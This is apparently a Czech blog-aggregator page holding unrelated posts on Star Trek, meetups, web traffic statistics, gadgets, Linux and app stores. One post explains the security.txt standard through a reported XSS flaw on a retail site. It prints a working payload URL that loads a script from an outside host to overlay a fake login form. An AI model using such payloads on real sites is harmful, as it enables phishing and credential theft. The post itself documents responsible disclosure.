Nebudu to prodlužovat a hned se vrhnu na hodnocení. Protože jsem už krátce po nákupu napsal blogový příspěvek, kde se tématu věnuji, bude i s čím porovnávat. Pojďme tedy na to Čistý Android. Zde se očekávání naplnila, myšleno ve smyslu čistoty, dostupných upgradů a pravidelných aktualizací. Vše bylo dodrženo. V průběhu prvních dvou měsíců používání […]

Star Trek: DiscoveryPřes velká očekávání spíše zbytečný počin

květen
08
Lukáš Kotek
Máloco u mě vyvolávalo tak velká očekávání jako nejnovější přírůstek do rodiny Star Trek seriálů jako právě Star Trek: Discovery (dále ST:D). Od ukončení seriálu Star Trek: Enterprise (dále ENT) v roce 2005, který měl své výrazně dobré, ale i obdobně intenzivně strašné momenty, to bylo 12 let čekání na další oficiální Star Trek seriál. […]

Pražské srazy 2017

květen
07
Openalt.org

Po roce vám opět přinášíme souhrnnou fotoreportáž z pražských srazů OpenAltu (a jednoho krkonošského). A jako bonus fotky z pár letošních srazů.

Květnový pražský sraz se bude konat 17. 5. 2018 (oficiální pozvánka teprve vyjde).

Leden 2017: Brmlab

OpenAlt

Duben patřil mužům: rostla návštěvnost mužských magazínů a auto-moto webů

Duben patřil mužům: rostla návštěvnost mužských magazínů a auto-moto webů tereza.tumova@… Pá, 05/04/2018 - 13:37

V dubnu se zvýšila návštěvnost webových stránek zaměřených především na muže. Mužské magazíny o životním stylu zaznamenaly nárůst počtu reálných uživatelů o pětinu z klasických PC a o 14 % z mobilních telefonů. Celkový počet uživatelů ze všech zařízení u této kategorie přesáhl 1,1 milionu RU. Kategorie Auto-moto obsah, která zahrnuje především weby s články o automobilech, recenze či testy jednotlivých značek, rostla o 12 % z mobilních telefonů a 4 % z počítačů. Její nárůst mohlo ovlivnit zahájení nové automobilové sezóny a s tím spojená snaha o obměnu vozového parku.

V dubnu pokračoval také růst návštěvnosti kategorie Cestování obsah, jež obsahuje informace o cestovních destinacích či tipy na cesty a další praktické informace pro cestovatele. Nárůst počtu uživatelů byl zde, stejně, jako v předchozím měsíci, zaznamenán u mobilních zařízení (přibližně 12 % z mobilních telefonů a 15 % z tabletů). Celkem tuto kategorií navštívilo minulý měsíc 2,45 milionu RU ze všech zařízení, vliv na nárůst počtu uživatelů mohla mít blížící se sezóna letních dovolených, hledání zajímavých destinací či atrakcí a památek v okolí místa pobytu. Kategorie Cestování obsah zaznamenala také výrazný nárůst počtu zobrazení stránek a to o více než 2 miliony. Druhá kategorie spojená s cestováním, Cestování – prodej, nabízející zájezdy k prodeji, zaznamenala nárůst pouze na tabletech (25 %). Jelikož tablet je zařízením, které často sdílí celá rodina, je možné předpokládat, že takto vysoký nárůst u této kategorie může znamenat, že nabídku zájezdů si uživatelé prohlíželi společně se svými blízkými.

Nejnavštěvovanějšími kategoriemi z klasických počítačů byly v dubnu Domovské stránky portálů (5,7 milionu RU), Databáze a katalogy (téměř 5 milionů), Zpravodajství (4,7 milionu), Komunikační služby (4,5 milionu) a E-commerce prodej (4 miliony). Výše uvedené Zpravodajství bylo také nejnavštěvovanější kategorií v případě mobilních zařízení. Ze smartphonů ji navštívilo více než 3 miliony RU a z tabletů více než 900 tisíc. Mezi pět kategorií s nejvyšším počtem uživatelů z mobilních zařízení se dále zařadily mimo jiné TV a rádia a Bulvární magazíny. 

 

Tab. 1. Výsledky měření návštěvnosti internetu na jednotlivých zařízeních – březen a duben 2018.

Počítače

Březen

 

Duben

Absolutní 
změna

Relativní změna

Reální uživatelé (RU)

6 947 422

6 881 784

-65 638

-0,94%

Zhlédnuté stránky (PV)

15 205 821 002

14 872 348 276

-333 472 726

-2,19%

Reální uživatelé (RU) – PC doma

6 816 468

6 754 638

-61 830

-0,91%

Zhlédnuté stránky (PV) – PC doma

11 762 220 339

10 941 057 155

-821 163 184

-6,98%

Reální uživatelé (RU) – PC v práci

1 930 801

1 914 187

-16 614

-0,86%

Zhlédnuté stránky (PV) – PC v práci

3 443 600 663

3 931 291 121

487 690 458

14,16%

Mobilní telefony

Březen

 

Duben

Absolutní 
změna

Relativní změna

Reální uživatelé (RU)

3 932 024

3 932 620

596

0,02%

Zhlédnuté stránky (PV)

2 219 162 364

2 059 851 989

-159 310 375

-7,18%

Tablety

Březen

 

Duben

Absolutní 
změna

Relativní změna

Reální uživatelé (RU)

1 733 973

1 711 374

-22 599

-1,30%

Zhlédnuté stránky (PV)

353 184 770

295 095 385

-58 089 385

-16,45%

Zdroj: NetMonitor, březen a duben 2018.

Garmin inReach Expolorer+ a porovnání s GPSMAP 62

květen
04
Zdenek Burda
Garmin inReach jsou zařízení sloužící primárně jako satelitní messenger v síti Iridium s možností obousměrné komunikace. Po koupi firmy DeLorme, která původně inReach vyráběla, v Garminu předělali zařízení do krabice podobné turistickým navigacím GPSMAP60-64. inReach ve verzi Explorer+ obsahuje dokonce mapy a základní možnosti navigace. Mám možnost porovnat inReach Explorer+ a GPSMAP 62stc Základní funkce …

Knihovnička

květen
03
Josef Jebavý
S vydáním mého nového ebooku "Poznámky správce linuxových serverů" jsem si vzpomněl, že bych měl doplnit seznam mé knihovničky o nové zajímavé přírůstky. Jedná se o knihy: Linux - Kompletní příručka administrátora, Na volné noze, Lídři jedí poslední, Prodávat je lidské, Antifragilita, Bůh chodí po světě vždycky inkognito, Promrhané dny, Jedna

Anemometr I

květen
02
Petr Stehlík
Dneska u nás hrozně moc fučí vítr, tak jsem si říkal, že by to chtělo měřit, jak moc silný je. Od nápadu k výsledku je jen krůček, pokud má doma člověk 3D tiskárnu. Stačí skočit třeba na Thingiverse.com, najít hotový návrh větrné turbíny, vytisknout a kochat se.

Vertical Wind Turbine je opravdu moc pěkná, ale na dnešní vichr příliš velká:


Našel jsem podobný, ale mnohem menší design - Wind Mill, tak jsem ho hned vytiskl:




Pak už jen vrazil zespodu malý motorek, který jsem měl po ruce, a šel zkusit ven:





Bohužel se motor jaksi nechce roztočit, a to ani při hodně silném větru. Pokud se ale už uráčí roztočit, jako třeba v čase 0:44 když do něj fouknu, tak pak už se točí pěkně, skoro k nezastavení :-)

EDIT: tentýž den večer

Aby vítr nemusel hledat správný úhel fouknutí do lopatek, vytiskl jsem a nalepil nahoru další stejný segment, jen pootočený o 90 °. To pak i slabší večerní větřík turbínu roztočil a motor vygeneroval i nějaké to napětí (řádově stovky milivoltů).



To už půjde měřit Arduinem nebo podobným mikrokontrolérem a tak získám digitální informaci o síle větru.

Wii Motion ovladač jako joystick v Linuxu

květen
02
Petr Stehlík

Dnes jsem zkoušel použít Wii Motion ovladač od zaprášeného Nintendo Wii jako joystick v Linuxu. Postup není triviální a zatím ani nevede k úplnému úspěchu, takže následující řádky jsou jen mým povzdechnutím dokumentujícím, kudy jsem šel a kam jsem se to (zatím) dostal:

1) Wii Motion ovladač komunikuje s Wii přes bluetooth, takže jde spárovat i s PC (pokud má BT, což třeba většina notebooků má). Chvilku mi trvalo to naklikat, ale nakonec se to povedlo. Od té chvíle začne zlobit kurzor myši, protože Xorg použije nově vytvořené HID zařízení a tak Wii Motion začne nějak divně ovládat i myš (stejně jako tlačítka na ovladači fungují jako klávesy či tlačítka myši).

2) po instalaci debian balíčku xwiimote a následném odhlášení a přihlášení zpět se uklidní pracovní prostředí, protože do /usr/share/X11/xorg.conf.d/ přibyde 50-xorg-fix-xwiimote.conf, který říká, aby byl Nintendo ovladač jako vstupní zařízení ignorován. V tu chvíli už také existuje /dev/input/js0 - tedy zařízení reprezentující v systému joystick, ale má pouze 7 tlačítek, žádné páky. Ani nefungují tlačítka na směrovém kříži, takže je toto joystickové zařízení k ničemu.

3) pak si z githubu může člověk stáhnout projekt wiimote-pad, který po kompilaci a spuštění pod rootem vytvoří nové joystickové zařízení /dev/input/js1, které už má 11 tlačítek a dva analogové směry. Jako směry se používá akcelerometr (takže nakláněním ovladače), a 4 nová tlačítka už zahrnují směrový kříž. Stačí si nainstalovat aplikaci jstest (jstest-gtk) a vyzkoušet si to.

V tuto chvíli už se dá Wii Motion ovladač použít jako analogový joystick se spoustou tlačítek. To mi ale nestačilo, chyběly mi hned tři věci:

1) chtěl bych směrový kříž mít jako pákový ovladač, abych mohl hrát hry, které čekají pákový ovladač, normálně těmi tlačítky, bez přemapovávání na klávesy.

2) chtěl bych mít podporovaný i nunchuck - ten tam teď vůbec není vidět, ačkoliv je připojen.

3) toto nové zařízení není rozpoznáno SDL knihovnou. Prostě ten joystick nevidí, takže je všechno stejně v háji. Netuším, čím je to virtuální zařízení js1 divné, že ho SDL nevidí.

Když se člověk pořádně rozhlédne po Githubu, zjistí, že wiimote-pad má hned tři forky, z nichž jeden implementuje směrový kříž jako ovladač, a druhý fork pak podporuje Wii nunchuck. Takže první dva body z mého seznamu by se daly vyřešit!

To by bylo super, kdyby to ovšem šlo zkompilovat. Chybí ale deklarace některých konstant. Při bližším zkoumání člověk zjistí, že Debianní /usr/include/xwiimote.h není úplně aktuální, přestože se projekt nevyvíjí už od roku 2013. Do Debianu se dostala verze 2.3 (z léta 2013), ovšem těsně poté (v srpnu) původní autor ještě komitnul na Githubu pár drobných, ale klíčových změn.

Takže by to chtělo nejdřív aktualizovat knihovnu/balíček libxwiimote-dev. Ovšem odkud? Projekt xwiimote má na Githubu 22 forků, z nichž některé obsahují mnoho užitečných změn přidávaných po další 4 roky. Nikdo z těchto autorů se už ale nesnažil to nějak spojit s ostatními...

Tudíž by to chtělo zjistit, kdo co přidal do xwiimote ve svých forcích, poslepovat z toho nějakou nejlepší verzi, tu dostat do Debianu nebo nějak polo-oficiálně vydat, na základě toho pak nějak dát dohromady wiimote-pad slepením vylepšení z těch tří forků, to ještě nejspíš upravit tak, aby mi to vyhovovalo, a pak i toto slepeniště nějak vydat pro další lidi, kterým by se to mohlo hodit.

Jo a samozřejmě je nutné nějak opravit to virtuální zařízení js1, aby fungovalo v SDL. A pak nějak vymyslet, jak zamaskovat zařízení js0, které v tu chvíli už není potřeba a jen tam zavazí (bude se vnucovat do všech programů jako první joystick ze dvou).

Docela dost práce, na kterou teď nemám čas, tak jsem si aspoň zapsal postup cesty sem a třeba se někdy vydám dál tím správným směrem...

P.S. teď mě napadá, že správně by se měl opravit ovladač přímo v Xorg, aby už to prvotní zařízení js0 fungovalo rovnou správně a nemuselo se nic dalšími programy napravovat. Hmmm, no to je ještě větší oříšek - to než bych zvládl, tak by Xorg zmizel v propadlišti dějin (kam má už teď díky Waylandu slušně nakročeno - ve Fedoře už ani není, a v novém Ubuntu 18.04 měl štěstí jen o vlásek).

Konec Deníku neziskovky

Na počátku to byla snaha podělit se s dalšími lidmi v nezisku u zkušenosti, trochu šmrnclá zájmem prodávat jim postupně školení. A jako mnoho jiných svých projektů jsem to neměl moc promyšlené. Byl jsem tou dobou aktivní ředitel obecně prospěšné společnosti (to jsem formálně pořád, jen ne aktivní) a četl jsem zákony, vyhlášky, učil se...

Pracovní dokument IAB Europe k právům subjektů údajů

Pracovní dokument IAB Europe k právům subjektů údajů tereza.tumova@… Pá, 04/27/2018 - 20:31

AB Europe, jejímž je SPIR členem, vydala pracovní dokument týkající se práv subjektů údajů (Pět praktických kroků, které pomohou společnostem splnit požadavky GDPR).

Účelem tohoto dokumentu je poskytnout sektoru digitálního marketingu, včetně společností zabývajících se reklamními technologiemi, analýzu práv subjektu údajů a doporučení, jak v souladu s GDPR tato práva naplnit.

Dokument v anglickém jazyce naleznete pod článkem.

Návrh nařízení k online platformám a sdělení k fake news

Návrh nařízení k online platformám a sdělení k fake news tereza.tumova@… Čt, 04/26/2018 - 11:03

Evropská komise dnes publikovala dva dokumenty: (1) návrh nařízení k online platformám – P2B vztahy a (2) sdělení k fake news.

Návrh nařízení P2Bhttps://ec.europa.eu/digital-single-market/en/platforms-to-business-trading-practices#useful-links

Tisková zpráva k navrhovaným pravidlům pro online platformy.

Sdělení EK k fake newshttps://ec.europa.eu/digital-single-market/en/news/communication-tackling-online-disinformation-european-approach

Tisková zpráva o návrhu opatření v boji proti šíření dezinformací na internetu včetně celounijního kodexu zásad tohoto boje, podpory nezávislé sítě subjektů ověřujících faktickou správnost údajů a řady akcí na podporu kvalitní žurnalistiky a mediální gramotnosti.

Výsledky veřejné konzultace, kterou Evropská komise otevřela v období listopad 2017-únor 2013 a získala téměř 3.000 vstupů naleznete zde.

Internetová populace ČR dosáhla v březnu nového maxima: 7,77 milionu reálných uživatelů

Internetová populace ČR dosáhla v březnu nového maxima: 7,77 milionu reálných uživatelů tereza.tumova@… Čt, 04/19/2018 - 06:55

Internetová populace ČR dosáhla v březnu nového maxima: 7,77 milionu reálných uživatelů starších 10 let. Z tohoto čísla je 800 tisíc exkluzivně mobilních uživatelů, tedy těch, kteří se připojují k internetu výhradně prostřednictvím chytrých telefonů a tabletů. Data představilo Sdružení pro internetový rozvoj (SPIR) na tradiční kvartální prezentaci výsledků projektů NetMonitor a AdMonitoring.

„Nárůst počtu uživatelů internetu je způsoben postupným stárnutím obyvatel, pro které je digitální svět běžnou denní součástí života. Roste tedy hlavně nejstarší věková skupina 55+, protože do tohoto věku je penetrace internetu již téměř 100 %. Pozitivní je i růst počtu exkluzivně mobilních uživatelů. Jednak potvrzuje celosvětový trend tzv. mobile first přístupu, který platí i pro Českou republiku, a pak se do něj promítlo také zrušení datového roamingu v rámci EU,“ komentovala výsledky Kateřina Hrubešová, výkonná ředitelka SPIR.

Kompletní výsledky kvartální prezentace naleznete zde.

velikost_internet_populace_10+_brezen18_celek

velikost_internet_populace_10+_brezen18_detail

 

Pozvánka na 151. sraz - Brno

duben
18
Openalt.org

151. brněnský sraz bude v pátek 20. 4. od 18:00 v restauraci Benjamin na Drobného 46.

Vyjádření SPIR k informacím o počtu uživatelů blokujících reklamy, které proběhly médii v týdnu od 16. dubna 2018

Vyjádření SPIR k informacím o počtu uživatelů blokujících reklamy, které proběhly médii v týdnu od 16. dubna 2018 tereza.tumova@… St, 04/18/2018 - 15:17

SPIR zaznamenal v médiích články odvolávající se na průzkum spol. AITOM, který mj. přináší údaje o tom, že: „Obecně zastává 90 % Čechů názor, že reklamu na internetu by mělo být možné vypnout úplně, omezit se ji pokusilo už 70 % z nich.“ SPIR nemá průzkum AITOM k dispozici, aby se seznámil s jeho metodikou a vzorkem respondentů, na kterém byl realizován, proto nemůže hodnotit, do jaké míry jsou závěry reprezentativní a vypovídající o obecné populaci uživatelů internetu. Každopádně SPIR považuje za nutné se vůči výsledkům tohoto průzkumu vymezit a uvést, že podle údajů z dlouhodobého a počtem a skladbou respondentů rozsáhlého a reprezentativního strukturálního exkluzivního kontinuálního výzkumu (SEKV), který pro SPIR realizuje dvakrát ročně spol. STEM/MARK, se podíl uživatelů blokujících reklamu v posledních třech letech udržuje pod hranicí 20 %.

Čtvrtletní prezentace projektů SPIR

Čtvrtletní prezentace projektů SPIR petr.kolar@spir.cz Út, 04/17/2018 - 10:29

V úterý 17. dubna 2018 od 10 hod. se uskutečnila samostatná prezentace projektů SPIR v art & event gallery ČERNÁ LABUŤ, Na Poříčí 25, Praha 1. Prezentace jsou ke stažení v příloze.

Pozvánka na 151. sraz OpenAlt – Praha

duben
16
Openalt.org

Dubnový pražský sraz spolku OpenAlt se koná již tento čtvrtek – 19. 4. 2018 od 18:00 v Kavárně Ideál (Sázavská 30, Praha), kde máme rezervovaný salonek. Tématem tohoto srazu bude OpenStreetMap (OSM) aneb svobodné mapy.

Problém s exkluzivními distribučními kanály softwaru

Za posledních několik let vyrostly dva největší distribučními kanály softwaru – Apple App Store a Google Play. Vývojářům umožňují snadnou distribuci softwaru z jednoho místa milionům uživatelů. Těm naopak poskytují obrovskou nabídku aplikací, které lze nainstalovat jedním kliknutím a které jsou navíc otestované, a u kterých se Google a Apple snaží, aby byly pokud možno bezpečné. Má to ale jednu chybu…

App Store a Google Play mají na iOS, respektive Androidu prakticky exkluzivitu v distribuci softwaru. Výrazně více to platí o iOS, kde je instalace aplikace mimo App Store vyloženě netriviální a mimo schopnosti běžného uživatele. U Androidu je to výrazně jednodušší, ale také ne samozřejmé.

V čem je problém? Prakticky tím ztrácíte kontrolu nad tím, co na vašem zařízení může běžet. Ukazuje se to třeba nyní na případu Telegramu v Rusku. Ten odmítl místnímu regulátorovi vydat klíče od šifrované komunikace jeho uživatelů a byl zablokovaný. Zcela blokovat nějakou službu dnes není úplně jednoduché. Telegram prý pracuje na úpravách, které sice sníží rychlost, ale blokování obejdou, aniž by uživatelé museli cokoliv dělat. Do budoucna si pohrává s myšlenkou distribuovaného DNS v blockchainu, které by takové blokování ještě více znesnadnilo.

Už když se poprvé blokování Telegramu začalo řešit, říkal jsem si, že existuje jedno velmi efektivní „zabití“ určité služby. A to je požádat Apple a Google o stažení aplikací z jejich oficiálních distribučních kanálů. A přesně to ruský regulátor dneska podle zpráv udělal. Uživatelé si možná ještě rozjedou na pár kliknutí nějakou VPN, zvláště v zemích, kde je blokování internetových služeb rozšířené, je to běžné i mezi uživateli bez velkých technických znalostí, ale jen naprosté minimum z nich si kvůli tomu bude jailbreakovat iPhone.

Tento způsob blokace je účinný také v tom, že můžete efektivně potlačovat také služby, které jsou decentralizované. Uživatelé Jabberu a podobných decentralizovaných komunikačních služeb tvrdí, že jsou mnohem méně náchylní na blokování než centralizované služby jako Telegram. To je u blokování na úrovni síťového provozu jistě pravda, ale představte si, že si autority u Applu a Googlu vynutí stažení všech klientů Jabberu. Čím se ke své službě připojíte? Řešením by byl webový klient, ale uživatelský zážitek natolik poklesne, že uživatelé stejně utečou jinam.

Je samozřejmě otázka, jak se Apple a Google zachovají, můžou Telegram podržet a výzvu ignorovat či odmítnout, ale sami by se tím vystavovali riziku postihu a případné blokaci. A jak už se několikrát ukázalo, nebylo by to poprvé, kdy tyto firmy podobnému tlaku ustoupily. Jde tu přece jenom o byznys za miliardy dolarů.

Ať už se v tomto případě rozhodnou jakkoliv, problém zůstává stejný: nejste to vy, kdo rozhoduje o tom, co poběží na vašich zařízeních, ale Apple a Google. Zvláště u Applu to platí téměř absolutně a je to asi nejsilnější důvod, proč jeho produkty nepoužívám.

V tomto jsem pořád rád za otevřenost desktopových platforem (ať už to jsou Windows nebo Linux). Nabízejí způsoby, jak omezit možnosti, odkud se může software instalovat a přiblížit se tak „bezpečnému“ modelu exkluzivního distribučního kanálu, ale pořád jsou otevřené softwaru z jiných zdrojů. Zablokovat klienta Telegramu zde by bylo prakticky nemožné a ruský regulátor se o to ani nepokouší.

Reformované RPM skriptlety

duben
11
Jozef Mlich
A je tu další ohlédnutí se za DevConfem. Jaká je budoucnost RPM ve fedoře? Will Woods a Stephen Gallager se zabývali tím, jak se používají RPM a co jim vadí na skiptletech. První otázkou je co jsou vlastně skriptlety a jak zapadají do fungování RPM. Osobně bych použití balíčků rozdělil do dvou fází. V první … Continue reading "Reformované RPM skriptlety"

Pozvánka na Interact 2018

Pozvánka na Interact 2018 tereza.tumova@… Út, 04/10/2018 - 10:42

IAB Europe zve na Interact 2018 v Miláně. Do 13. 4. zvýhodněná cena vstupenky, při registraci použijte kód CZEIAB.banner Interact 2018

Ukládání celých WWW stránek na disk (MAFF, MHT, proxy?)

Co používáte, když si chcete nějakou stránku archivovat na disk? Dříve fungovalo dobře MAFF, ale to už v aktuálních verzích Firefoxu není podporované. UnMHT taky ne.

K čemu je soubor security.txt

Občas někdo najde nějakou zranitelnost a chtěl by ji nahlásit, ať ji výrobce nebo vývojář může opravit. Koncem roku 2017 jsem pár takových drobných chyb také objevil.

Nalezení zranitelnosti

V sobotu 16. prosince jsem reportoval zranitelnost Cross-Site Scripting (XSS) na vcelku známém webu Alza.cz 👽. Chyba spočívala v tom, že se neošetřená adresa vypsala do Not Found stránky mezi značky <script> a </script>, konkrétně do řetězce, který se posílá do Google Analytics jako parametr události. Kód na adrese https://www.alza.cz/foo vypadá přibližně takhle:

<script>
ga('send', 'event', 'Error404', 'http://www.alza.cz/foo');
</script>

Stačilo do browseru zadat https://www.alza.cz/foo?');+alert(1);+// a alert spatřil světlo světa:

<script>
ga('send', 'event', 'Error404', 'https://www.alza.cz/foo?'); alert(1); //');
</script>

Jenže alert(1) nedokáže moc dobře ukázat možnosti vloženého JavaScriptu, tak jsem připravil názorné demo, které po kliknutí na zákeřný odkaz zobrazí alzácké přihlašovací okno. Při pokusu vyplnit e-mail a heslo nebo po stisknutí tlačítka „Přihlásit“ vyskočila hláška, že jde o ukázku phishingu a nic se nikam neposlalo. Mohlo by, JavaScript by mohl třeba změnit atribut action a přihlašovací údaje by se odeslaly třeba na útočníkův web, ale to nebylo smyslem ukázky.

Zákeřný odkaz s ukázkou vypadal takto (dal by se samozřejmě zkrátit nějakým zkracovačem adres):

https://www.alza.cz/foo?');d=document;s=d.createElement('script');s.src='https://baz.xss.sk/js';d.getElementsByTagName('head')[0].appendChild(s);//

A konečně na závěr varovná hláška překrývající přihlašovací formulář:

Ukázka pokusu o phishing

Nahlášení chyby

Chybu jsem chtěl nahlásit, ale musel jsem nejdřív zjistit komu. Na uživatelskou podporu popis bezpečnostních chyb posílat nechcete, nevěděli by co s tím. Tak jsem začal hledat a po nějaké době jsem narazil na Vladimíra Dědka, ředitele webového a mobilního vývoje. No jo, ale kdo to je, jak se chová, pochopí o co mi jde? Po další chvíli gůglování jsem narazil na video, ve kterém Jirka Rostecký z Mladého podnikatele rozebírá s Vladimírem různé vývojářské věci, což mě utvrdilo, že Vladimír je můj člověk. Poslal jsem mu stručný e-mail s popisem chyby a vrátil se k tomu, co jsem chtěl původně dělat.

Odpověď přišla hned druhý den (v neděli!) ráno. Alza chybu během pár dní opravila, přístup k problému byl super, komunikace taky a za to všechno jí patří velký dík. Alza teda zareagovala podobně rychle jako DomainTools, kam jsem hlásil podobnou chybu v pátek před vánocemi.

Schválně si tipněte, co mi trvalo nejdéle: najít chybu, vyrobit demo, nebo zjistit komu chybu nahlásit?

je správně, nejvíc času mi zabralo nalézt komu chybu vlastně popsat. Aby popisu i závažnosti rozuměl a aby na mě rovnou neposílal firemní právníky. Když jsem v podstatě náhodou našel uniklá data z hostingu Czechia od Zoneru, tak jsem taky sháněl správný kontakt celkem dlouho. Od podpory, od které jsem chtěl získat speciální adresu na hlášení bezpečnostních incidentů, jsem se dozvěděl, že žádnou takovou adresu nemají a že to mám poslat nešifrovaně klasicky na support, že se mi ozvou zpět. Čemuž na jednu stranu rozumím, na druhou stranu to leckoho může odradit a pak může udělat zoufalost, které by třeba později mohl litovat.

Chápu, že na stránce „O nás“ nebo „Kontakty“ asi ve většině případů netoužíte mít odkaz „Sem posílejte hlášení bezpečnostních chyb“, ale jak dát světu najevo kam s ním? Asi nechcete, aby se vás lidi veřejně na Twitteru ptali, kam mají chyby posílat, tak jako jsem to udělal při pokusu reportovat problémy certifikační autoritě AlwaysOnSSL. Výpis z whois často obsahuje neveřejné údaje nebo pro tento účel nesprávné osoby.

security.txt

Problém se pokusil vyřešit Ed Foudil. Vytvořil návrh standardu security.txt (přesný název zní „A Method for Web Security Policies“, brzy by mohl vyjít jako RFC), což je ve zkratce soubor security.txt, ze kterého se dozvíte kam a jak chyby hlásit.

Soubor security.txt musí být na předvídatelném místě, pro weby to je adresář /.well-known/. Ten je definován v RFC 5785 a slouží právě jako základní adresář pro „dobře známá“ umístění. Používá jej např. KeyBase i certifikační autorita Let's Encrypt pro ověření domény a další. Cesta k mému souboru security.txt je tedy https://www.michalspacek.cz/.well-known/security.txt, z „rootu“, tedy z /security.txt je doporučeno nastavit přesměrování. Na interních serverech a souborových systémech mimo web můžete mít soubor .security.txt (s tečkou na začátku) rovnou v rootu.

Contact

V souboru jsou uvedeny direktivy a hodnoty oddělené dvojtečkou, přičemž jedna direktiva může obsahovat jen jednu hodnotu (např. adresu), ale můžete uvést více stejných direktiv s různými hodnotami, každou dáte na samostatný řádek, přičemž každá řádka musí končit znaky CRLF nebo jen LF. Soubor musí obsahovat alespoň direktivu Contact, jako hodnotu můžete uvést e-mailovou adresu, telefonní číslo nebo webovou stránku s dalšími informacemi. U mě vypadají direktivy Contact takhle:

Contact: https://www.michalspacek.cz/kontakt
Contact: https://www.michalspacek.com/contact

V souboru mám i odkaz na Twitter a Facebook, zde jsem je pro jednoduchost vynechal.

Encryption

Pomocí direktivy Encryption můžete (a měli byste) přidat odkaz na váš PGP klíč, kterým je možné komunikaci zašifrovat. U mě vypadá takto:

Encryption: https://www.michalspacek.cz/key.asc

Signature

Soubor security.txt můžete podepsat (třeba pomocí gpg --detach-sign security.txt) a podpis přidat např. do souboru security.txt.sig, který také umístíte do adresáře /.well-known/. Odkázat na něj můžete pomocí direktivy Signature. Nezapomeňte soubor podepsat znovu po každé i sebemenší změně.

Policy

Do Policy můžete přidat odkaz na „pravidla hry“, bezpečnostní politiku nebo pravidla hlášení chyb.

Acknowledgement

Jestli máte „zeď slávy“ se jmény firem nebo lidí, kteří vám pomohli chybu najít a opravit (má ji např. T-Mobile), sem můžete dát odkaz. Pro jednoduchý příklad se podívejte do security.txt již zmíněné AlwaysOnSSL.

Hiring

Pokud sháníte nějaké lidi, profíky na bezpečnost, tak sem můžete dát odkaz na stránku s inzerátem nebo seznamem volných pozic.

✅ Přidat security.txt

Jestli se vám dneska nechce nic dělat, tak aspoň přidejte tenhle soubor (což předpokládá, že víte kam mají hlášení o bezpečnostních chybách chodit) a můžete to vykázat jako „zlepšení vztahu se security komunitou a zjednodušení hlášení chyb“. A když se vám chce dělat něco jiného, tak ten soubor přidejte alespoň zítra. Nikdy nevíte, kdy ho budu potřebovat :-)

K povinné direktivě Contact doporučuji přidat i Encryption (tedy pokud máte šifrovací klíč), zbytek můžete použít podle situace.

Na webu securitytxt.org najdete jednoduchý generátor obsahu souboru, inspirovat se můžete i u , na Have I Been Pwned?, Report-URI nebo u Googlu, 1Passwordu a Facebooku. Informace v security.txt má i česká hostingovka Active24 a jednoduchý soubor najdete i na webu jedné švýcarské banky.

Chcete notebook s Linuxem? Kupte si Dell!

Loni jsem psal, že po deseti letech odcházím od ThinkPadů a přecházím na Dell, který jsem vyfasoval v práci. Uběhl necelý rok, což je myslím dostatek času na to, abych mohl bilancovat, jaká změna to byla.

Dell-XPS-13-infinity-2015

V práci jsem vyfasoval Dell XPS 13, který patří mezi ultrabooky, které se v poslední době staly populárními hlavně díky Macbookům. Hraje se u nich především na váhu, velikost a atraktivní vzhled a to i na úkor některých chybějících konektorů. Co se týče atraktivního vzhledu, XPS 13 se opravdu povedl. Zevnějšek je o několik úrovní jinde než ThinkPady. Na druhou stranu si pořád myslím, že pokud chce člověk něco opravdu odolného, co snese bezohledné zacházení, robustní ThinkPad by asi udělal lepší službu. Možná to je ale jenom můj dojem, protože po roce každodenního používání je XPS 13 jako nové. Každopádně ve světě kavárenského IT ultrabooky odolností obstojí… i když nevím, jak si poradí, když do nich někdo vylije karamelové macchiato od Starbucksu 🙂

Co se týče spolehlivosti, musím přiznat, že jsem notebook jednou reklamoval kvůli hlučnějšímu větráčku. Servis Dellu byl ale skvělý. V pět odpoledne jsem zavolal na jejich linku a v devět ráno druhý den už byl jejich technik u nás a větráček vyměňoval.

V čem je ale XPS 13 a Dell obecně skvělý, je příkladná podpora Linuxu. Můj model byl sice s Windows, protože verzi s Linuxem nebylo přes firemního dodavatele tak jednoduché sehnat, ale moc dlouho se na disku neohřály a šla místo nich Fedora. Za celý rok jsem neměl u samotného notebooku jakýkoliv problém s kompatibilitou s Fedorou:

  • Uspávání ✅ – nepamatuji si jediný případ za celý rok, kdy by měl notebook problém s uspáním a probuzením. Nezkoušel jsem Intel Rapid Start (překopírování RAM na SSD po nějaké době uspání, aby se ušetřila energie), ale to je dost problém nastavit při vlastní instalaci i s Windows. A vlastně ani nevím, jestli ho notebook podporuje, protože nejnovější řady notebooků už od této technologie upouští.
  • Touchpad ✅ – funguje, jak má, jsem schopný s ním provádět i „víceprstá“ gesta pro správu oken, ale moc je nepoužívám, protože klávesovými zkratkami je to pohodlnější.
  • Funkční klávesy ✅ – vyzkoušel jsem všechny (zvuk, jas, ovládání přehrávání, vypnutí wifi, podsvícení klávesnice…) a funguje vše včetně integrace s desktopem (že se zobrazují indikátory). Nicméně některé jsou krapet redundantní. Klávesa pro vyhledávání sice přepne do Činností a rovnou skočí do vyhledávacího pole, nicméně stejný efekt má klávesa Super, pač v Činnostech lze okamžitě vyhledávat psaním bez nutností skákat do vyhledávacího pole.
  • Výdrž na baterii ✅ – výdrž na baterii při běžné činnosti mám 7-10 hodin, což je srovnatelné s tím, co reportují uživatelé Windows. A to ve výchozím nastavení. Pokud si pohrajete s PowerTOPem můžete se dostat i na lepší hodnoty. Citelně vyšší výdrž má verze s FullHD monitorem.
  • Wifi ✅ – bezdrátové připojení už funguje out-of-the-box téměř všude, ale přesto uvádím. Kvůli některým kartám od Broadcomu to pořád není úplně samozřejmost.
  • Bluetooth ✅ – taktéž, používám především na hudbu a zatím jsem neměl problém s připojením několika bluetooth sluchátek a bezdrátových repráčků.
  • Webkamera & mikrofon ✅ – obojí bez problémů. Jen u kamery je problém, že je kvůli úzkým rámečkům displeje dole, takže jí občas blokují výhled při psaní, ale to není závada softwaru.
  • Thunderbolt ✅ – jediná věc, kde jsem musel udělat kompromis. Aby mi kromě monitorů fungovala i USB zařízení, musel jsem vypnout v BIOSu zabezpečení TB. To se ale mění s Fedorou 28, která je první linuxovou distribucí, jež podporuje bezpečnostní úrovně Thunderboltu jak v GUI, tak v kernelu.
  • Aktualizace firmwaru ✅ – Dell byla první firma, která podporovala LVFS, který umožňuje jednoduše aktualizovat firmware včetně BIOSu v Linuxu. Aktualizace firmwaru se mi tak objevovaly mezi ostatními aktualizacemi v GNOME Software a na rozdíl od předchozím notebooků mám BIOS aktuální.
